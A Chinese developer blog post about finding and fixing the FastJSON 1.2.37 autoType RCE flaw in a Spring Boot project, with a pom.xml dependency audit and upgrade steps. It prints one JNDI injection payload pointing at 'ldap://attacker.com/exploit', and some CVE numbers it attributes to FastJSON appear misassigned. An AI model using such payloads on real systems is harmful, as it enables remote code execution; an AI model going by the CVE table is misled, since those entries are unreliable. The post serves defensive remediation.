Java 项目 FastJSON 1.2.37 安全漏洞排查:autoType 差点让我成了安全新闻主角

老炮踩坑录 · F03 · 翻车现场系列

· 基于「企业融合评估平台」真实源码,给整个 pom.xml 做一次安全 CT

· 关键词:FastJSON · autoType · RCE · CVE · 依赖安全 · pom.xml 体检

引子:安全扫描报告出来的那刻,我沉默了

2022 年下半年,公司接了个企业测评的单子。第三方安全机构拿着扫描器对着我们的系统扫了一圈,三天后报告就出来了。

安全工程师打电话过来,语气很客气的说:

"您好,我们检测到您的系统存在一个远程代码执行(RCE)漏洞,CVSS 评分 9.8,建议立即修复。"

我心想:不至于吧,Spring Boot 项目,能有什么 RCE?

拿到报告打开一看,傻眼了,漏洞描述写着:

text 复制代码
漏洞名称:Alibaba FastJSON autoType 远程代码执行漏洞
风险等级:严重(CVSS 9.8)
影响版本:FastJSON < 1.2.68
当前版本:FastJSON 1.2.37

于是打开 pom.xml,搜了一下 fastjson:

xml 复制代码
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.37</version>
</dependency>

1.2.37。 2018 年 5 月发布的版本。距离安全报告出具日,已经四年半没有更新了。

更扎心的是------我搜了一下整个项目的 Java 源码,import com.alibaba.fastjson 出现了 25 处,遍布登录、鉴权、报告生成、Session 缓存等核心链路。

也就是说,这个四年半没更新的 JSON 库,不是某个边缘模块在用------它是整个系统的 JSON 基础设施。


autoType 是什么?为什么能远程执行代码?

先看一段代码。项目里 LoginServiceImpl.java 的登录流程,有这么一行:

java 复制代码
// LoginServiceImpl.java L248
String result = JSON.parseObject(resultMap.get("result").toString()).getString("data");

JSON.parseObject() 做的事情是:拿到一个 JSON 字符串,解析成 Java 对象。

正常情况下,JSON 长这样:

json 复制代码
{"code": 200, "msg": "success", "data": {"username": "zhangsan"}}

解析出来就是一个 JSONObject,没什么问题。

但如果 JSON 长这样呢?

json 复制代码
{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.com/exploit", "autoCommit": true}

注意这个 "@type" 字段。FastJSON 的 autoType 机制会这样做:

  1. 看到 @type,取出值 com.sun.rowset.JdbcRowSetImpl
  2. 用 Class.forName() 加载这个类
  3. 根据 JSON 里的其他字段,调用对应的 setter 方法
  4. setDataSourceName("ldap://attacker.com/exploit") → JNDI 查找 → 连接攻击者的 LDAP 服务器 → 下载并执行恶意 class 文件

整个过程:一段 JSON 字符串 → 远程代码执行。

不需要认证,不需要任何特殊权限,只要你的接口接收 JSON 并且用了 FastJSON 解析。

这就是 autoType RCE 的完整攻击链。


1.2.37 有多脆弱?一张 CVE 清单

FastJSON 的 autoType 漏洞不是一个 CVE,而是一串。因为每修一次,安全研究员就找到新的绕过方式,形成了"打地鼠"式的攻防拉锯:

CVE 编号 影响版本 绕过方式 CVSS
CVE-2017-18349 < 1.2.40 直接 @type 加载恶意类 9.8
CVE-2019-17571 < 1.2.68 expectClass 绕过 autoType 黑名单 8.1
CVE-2020-8840 < 1.2.68 autoType 绕过 + java.lang.Runtime 执行命令 9.8
CVE-2022-25845 < 1.2.83 通过 AutoCloseable 子类绕过 safeMode 6.5

我们的 1.2.37,上面四个 CVE 全部命中。

不是"可能存在风险",是确定可以被远程攻击。

安全报告里写的那句话我现在还记得:

"当前版本 1.2.37 存在已知的远程代码执行漏洞,攻击者可通过构造恶意 JSON 请求实现服务器端任意代码执行,无需任何身份认证。"


给 pom.xml 做一次安全 CT

FastJSON 只是冰山一角。既然安全扫描已经开始了,我干脆把整个 pom.xml 拉出来做一次全面体检。

体检结果

依赖 当前版本 发布年份 最新稳定版(2022) 风险等级
fastjson 1.2.37 2018 1.2.83 🔴 严重
druid 1.1.13 2019 1.2.16 🟡 中等
guava 20.0 2014 31.1 🟡 中等
commons-fileupload 1.3 2013 1.5 🔴 严重
POI 3.12 2015 5.2.3 🟡 中等
Swagger 2.9.2 2019 已停维护 🟠 过时
Spring Boot 2.1.0 2018 2.7.x / 3.x 🔴 停维护
commons-collections 3.2.1 2015 已迁移到 org.apache.commons 🟡 中等
mysql-connector-java 由 parent 管理 --- --- 🟢 正常

9 个依赖,7 个有风险,3 个严重。

最刺眼的是两行:

  • commons-fileupload 1.3:2013 年的版本,存在 CVE-2023-24998(DoS 漏洞,CVSS 7.5)
  • Spring Boot 2.1.0:2018 年的版本,2022 年 11 月已经彻底停止维护

这个项目不是在做开发,是在考古。

为什么没人更新?

原因很简单:当初能跑就行。

2022 年这个项目,是别人 2019 年搭建的骨架。当时 Spring Boot 2.1.0 还是"最新稳定版",FastJSON 1.2.37 是"经过验证的老版本"。没人会想到两年后这些版本全变成了安全漏洞。世上没有无 Bug 的系统,只有不断迭代升级的系统。

但 "没人想到" 不等于 "不会发生"。


项目里 FastJSON 到底怎么用的?

光说版本危险还远远不够,我们得看攻击面有多大。我扫了一遍整个项目的 FastJSON 使用场景:

场景一:HTTP 响应解析(攻击面:中)

java 复制代码
// LoginServiceImpl.java L178
JSONObject jsonObject = JSON.parseObject(resultMap.get("result").toString());

这里是解析内部 HTTP 调用的返回值。数据来源是后端服务之间的通信,不是用户直接输入的。

攻击面中等------如果攻击者能劫持内部服务通信(比如同网段的一台被控机器),就可以注入恶意 JSON。

场景二:Session 反序列化(攻击面:低)

java 复制代码
// SessionCacheUtils.java L173
return JSON.parseObject(userInfoObj.toString(), SysAccount.class);

这里用了 parseObject(String, Class) 的形式,指定了目标类型为 SysAccount.class。

表面上看,指定了 Class 似乎安全一些------FastJSON 会尝试把 JSON 映射到 SysAccount 的字段上。但在 1.2.37 版本中,如果 JSON 里嵌套了 @type 字段,即使外层指定了 Class,内层的 autoType 仍然会被触发。

场景三:全局 HTTP 消息转换器(攻击面:高)

java 复制代码
// AutoConfiguration.java(导入部分)
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.alibaba.fastjson.support.config.FastJsonConfig;
import com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter;

虽然当前 AutoConfiguration.java 里没有显式注册 FastJsonHttpMessageConverter 的 Bean,但这些 import 说明曾经配置过 。而且 Spring Boot 的自动配置机制会检测 classpath 上的 FastJSON------如果 spring.factories 里有注册,消息转换器可能默认就生效了。

这意味着:所有 @RequestBody 接收的 JSON 请求,都可能经过 FastJSON 解析。

如果真是这样,攻击面就是所有对外暴露的 API 接口。

场景四:JSON 序列化输出(攻击面:低)

java 复制代码
// WebUtils.java L548
writeJson(response, JSON.toJSONString(object), MediaType.APPLICATION_JSON_UTF8_VALUE);

// AuthAspect.java L323
return JSON.toJSONString(fail);

toJSONString() 是序列化方向(Java 对象 → JSON 字符串),不涉及 autoType 反序列化。但 SerializerFeature 的某些配置(比如 WriteClassName)会在输出时写入 @type,为后续的反序列化攻击埋下种子。

攻击面汇总

使用场景 涉及文件 数据来源 攻击面
JSON.parseObject() LoginServiceImpl、SessionCacheUtils、EnterpriseRegistServiceImpl 内部 HTTP 响应 / Session 中
JSON.toJSON() ReportCapabilityServiceImpl、ReportMaturityServiceImpl 数据库实体 低
JSON.toJSONString() WebUtils、AuthAspect、LoginServiceImpl 内存对象序列化 低
HTTP 消息转换器(疑似) AutoConfiguration 所有 API 请求体 高

结论:攻击面比想象的大。 如果 HTTP 消息转换器真的默认生效了,那每一个 POST 接口都是一个潜在的攻击入口。


怎么改?三步走

第一步:紧急止血------开启 SafeMode(5 分钟)

FastJSON 1.2.68 引入了 safeMode 模式,彻底禁用 autoType,不管黑白名单:

java 复制代码
ParserConfig.getGlobalInstance().setSafeMode(true);

加在 Application.java 的 main() 方法里,第一行。

但问题是------1.2.37 没有 SafeMode。SafeMode 是 1.2.68 才加的。

所以对于 1.2.37,唯一的止血方案是:升级版本。

第二步:升级版本(30 分钟)

方案 A:升级到 FastJSON 1.2.83(1.x 最终版)

xml 复制代码
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83_noneautotype</version>
</dependency>

注意 artifactId 是 fastjson1.2.83_noneautotype------这是官方发布的永久禁用 autoType 的版本,专门给不想折腾的老项目用。

改完 pom.xml,有跑一遍全量回归测试,确保所有 JSON 解析正常。

方案 B:迁移到 FastJSON 2.x

xml 复制代码
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.40</version>
</dependency>

FastJSON 2 是完全重写的版本,默认禁用 autoType ,API 兼容 1.x(包名从 com.alibaba.fastjson 改为 com.alibaba.fastjson2)。

但迁移成本更高------25 处 import 要改,部分 API 有细微差异。

对于这个项目,我推荐方案 A:改动最小,风险最低,一行 pom.xml 修改就能解决。

第三步:给 pom.xml 建立安全巡检机制

升级 FastJSON 只是治标。真正要解决的是**"依赖几年没人管"**这个问题。

做法一:接入 OWASP Dependency-Check

xml 复制代码
<plugin>
    <groupId>org.owasp</groupId>
    <artifactId>dependency-check-maven</artifactId>
    <version>8.4.0</version>
    <executions>
        <execution>
            <goals><goal>check</goal></goals>
        </execution>
    </executions>
</plugin>

每次 mvn package 自动扫描依赖的 CVE,有高危漏洞直接构建失败。

做法二:CI/CD 里加 Snyk / 阿里云制品扫描

如果用 Jenkins 或 GitLab CI,加一个安全扫描阶段,每次提交自动检测。

做法三:人工巡检------最低成本

每个月花 10 分钟,跑一次 mvn versions:display-dependency-updates,看看哪些依赖有新版本。不需要每个都升,但至少知道哪些是过时的。


FastJSON 的启示:选型一时爽,维护火葬场

回过头看,FastJSON 在这个项目里的问题不只是版本老------选它本身就是个值得讨论的问题。

为什么项目里同时有 FastJSON 和 Jackson?

看 pom.xml:

xml 复制代码
<!-- FastJSON -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.37</version>
</dependency>

<!-- Jackson(Spring Boot 自带) -->
<dependency>
    <groupId>com.fasterxml.jackson.datatype</groupId>
    <artifactId>jackson-datatype-guava</artifactId>
    <version>2.9.8</version>
</dependency>

Spring Boot 默认用 Jackson 做 JSON 序列化。项目又引入了 FastJSON。两套 JSON 库共存,到底谁在干活?

答案是:都在干。

  • Spring MVC 的 @RequestBody / @ResponseBody 默认走 Jackson
  • 业务代码里的 JSON.parseObject() / JSON.toJSONString() 走 FastJSON
  • 如果 FastJsonHttpMessageConverter 被注册了,Spring MVC 就走 FastJSON

两套库,两套配置,两套序列化行为。Long 型字段在 Jackson 里默认序列化成数字,在 FastJSON 里也是数字,但 Date 字段的格式、null 值的处理、循环引用的行为------全都不一样。

这就是选型不统一的代价:表面上两个库都能用,实际上没人说得清到底谁在什么时候起了作用。

老炮的建议

场景 推荐方案
Spring Boot 项目 用 Jackson,Spring 原生,零额外依赖
高性能场景 FastJSON 2.x(默认禁用 autoType)
新项目 Jackson 或 FastJSON 2,不要选 FastJSON 1.x
老项目维护 升级到 FastJSON 1.2.83_noneautotype,然后排期迁移到 2.x

这个坑给我的教训

教训一:依赖不是引入就完了,它是有生命周期的。

引入一个第三方库,就像招了一个员工------你得持续跟进它的版本更新、安全公告、社区活跃度。一个四年半没更新的依赖,就是一个四年半没人管的员工,指不定什么时候捅出篓子。

教训二:安全扫描不是走过场。

如果不是等保测评逼着扫了一遍,这个 FastJSON 1.2.37 不知道还要在项目里躺多久。它不报错、不抛异常、业务跑得欢------但漏洞就在那里,等着被利用。

教训三:选型时的"方便",都是维护时的"债务"。

FastJSON 的 API 确实比 Jackson 简洁------JSON.parseObject() 一行搞定,不用配 ObjectMapper。但当初省下的每一行代码,都变成了日后的维护成本。


pom.xml 安全巡检 Checklist

我们的项目上线前都应该对 pom.xml文件做一次安全漏洞检查,并修改出现的漏洞。

检查项 本项目状态 正确做法
FastJSON 版本是否 ≥ 1.2.83 ❌ 1.2.37 升级到 1.2.83_noneautotype
是否开启 SafeMode 或禁用 autoType ❌ 无 ParserConfig.setSafeMode(true)
是否存在多个 JSON 库共存 ❌ FastJSON + Jackson 统一为一个
Spring Boot 是否在维护周期内 ❌ 2.1.0 已停维护 升级到 2.7.x 或 3.x
是否有依赖安全扫描机制 ❌ 无 OWASP Dependency-Check / Snyk
commons-fileupload 是否升级 ❌ 1.3(2013 年) 升级到 1.5 或换 Servlet 3.0 原生上传

下期预告:《我用 Executors 创建线程池,被阿里规约第一页打了脸》

我们把安全漏洞改完了,下一步该改代码了。newFixedThreadPool(5) 背后藏着一个无界队列,任务堆积,OOM 只是时间问题。阿里开发手册第一页就写了"禁止使用 Executors 创建线程池",这个项目偏偏全用了。

下期我们讲讲这个项目里的线程池踩坑实录,以及 ThreadPoolExecutor 的正确配置方式。

我是老炮,18 年 Java 老兵,仍在一线。如对您有点帮助,希望您点赞、收藏加关注。关注「Java老炮踩坑录」,不错过每一篇真实案例,少踩坑。

相关推荐
程序员cxuan43 分钟前
WorkBuddy + ima 搭建本地知识库
人工智能·后端·程序员
鱼弦43 分钟前
模型服务热加载实战:如何在不停服的情况下更新模型权重?
后端
晚安日记wanna44 分钟前
订单30分钟未支付自动取消:定时任务为什么被面试官嫌弃
redis·后端·面试
IT_陈寒44 分钟前
Redis误删数据后的血泪教训:我竟然这样找回来了
前端·人工智能·后端
吃饱了得干活44 分钟前
Hash 全景:从 HashMap 到一致性哈希,一文吃透哈希核心
java·后端
码事漫谈1 小时前
AI圈最近爆火的"哑巴"Jev,到底是个啥?
后端
行百里er1 小时前
Redis 核心数据结构(二)——List 与消息队列
redis·后端
知守观1 小时前
AI 代码审查实战:2022年Java老项目挑出20个坑,老炮只认15个
后端
创新技术阁1 小时前
FastapiAdmin插件介绍
前端·后端·fastapi